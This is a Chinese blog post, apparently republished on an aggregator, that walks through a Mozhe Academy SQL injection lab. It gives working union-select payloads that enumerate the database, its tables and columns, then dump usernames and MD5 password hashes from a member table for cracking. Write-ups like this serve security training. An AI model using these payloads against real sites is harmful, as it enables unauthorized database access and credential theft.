当前位置:网站首页>墨者学院SQL注入解题
墨者学院SQL注入解题
2020-11-08 09:40:00 【osc_7bgz0no1】
一·判断注入
输入id=1,正常返回。输入id=-1返回错误。由 此可知存在注入。
二·判断字段
URL id=-1 order by 1
URL id=-1 order by 2
URL id=-1 order by 3
URL id=-1 order by 4
URL id=-1 order by 5 此时报错,说明有四个字段
三·使用union查询注入点
输入union select 1,2,3,4
发现2,3为显注点
四·使用database()查库名
输入 union select 1,database(),3,4
查出库名为 mozhe_Discuz_StormGroup
五·查表名
输入
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
查询到StormGroup_member,notice
看见member,所以对第一个产生怀疑。所以首先查询第一个。
六·查询StormGroup_member中的存放的字段
输入
union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询出id,name,password,status
七·查询密码和用户名
union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member
得到md5加密后的值。进行解密,得到密码。
如果密码不对,通过limit m,n来继续查询。
八·提交key
得到密码后进行登录可以看见key,复制,提交。
版权声明
本文为[osc_7bgz0no1]所创,转载请带上原文链接,感谢
https://my.oschina.net/u/4415254/blog/4707940
边栏推荐
- 413【毕设课设】基于51单片机无线zigbee无线智能家居光照温湿度传输监测系统
- FORTRAN 77 reads some data from the file and uses the heron iteration formula to solve the problem
- Unparseable date: 'Mon Aug 15 11:24:39 CST 2016',时间格式转换异常
- Deeplight Technology Bluetooth protocol SRRC certification services
- Solve Safari browser download file name garbled problem
- 鼠标变小手
- What details does C + + improve on the basis of C
- IOS upload app store error: this action cannot be completed - 22421 solution
- ulab 1.0.0发布
- China Telecom announces 5g SA commercial scale in 2020
猜你喜欢
More than 50 object detection datasets from different industries
狗狗也能操作无人机!你没看错,不过这其实是架自动驾驶无人机 - 知乎
Is there a big difference between i5 1135g7 and i51035g1? Which is better?
Fgagt: flow guided adaptive graph tracking
vivoS7e和vivoS7的区别 哪个更值得入手
Experience the latest version of erofs on Ubuntu
M-end software product design considerations - Zhihu
FORTRAN 77 reads some data from the file and uses the heron iteration formula to solve the problem
Shiyou's numerical analysis assignment
What details does C + + improve on the basis of C
随机推荐
swiper 窗口宽度变化,页面宽度高度变化 导致自动滑动 解决方案
解决Safari浏览器下载文件文件名称乱码的问题
来自不同行业领域的50多个对象检测数据集
vivoy73s和荣耀30青春版的区别
解决RabbitMQ消息丢失与重复消费问题
Mate 40系列发布 搭载华为运动健康服务带来健康数字生活
将“光头”识别为“足球”,AI 摄像头如何犯的错?
ASP.NET A complete solution based on exception handling in MVC
PCIe enumeration process
“智能5G”引领世界,数位智能网优+5G能带来什么?
iOS 学习笔记二【cocopods安装使用和安装过程中遇到的问题及解决办法】【20160725更新】
2020天翼智能生态博览会中国电信宣布5G SA正式规模商用
【总结系列】互联网服务端技术体系:高性能之数据库索引
Spotify是如何推动数据驱动决策的?
The difference between vivoy 73s and glory 30 Youth Edition
iOS上传App Store报错:this action cannot be completed -22421 解决方案
C++在C的基础上改进了哪些细节
nvm
PerconaXtraDBCluster8.0 最详尽用法指南
Deeplight Technology Bluetooth protocol SRRC certification services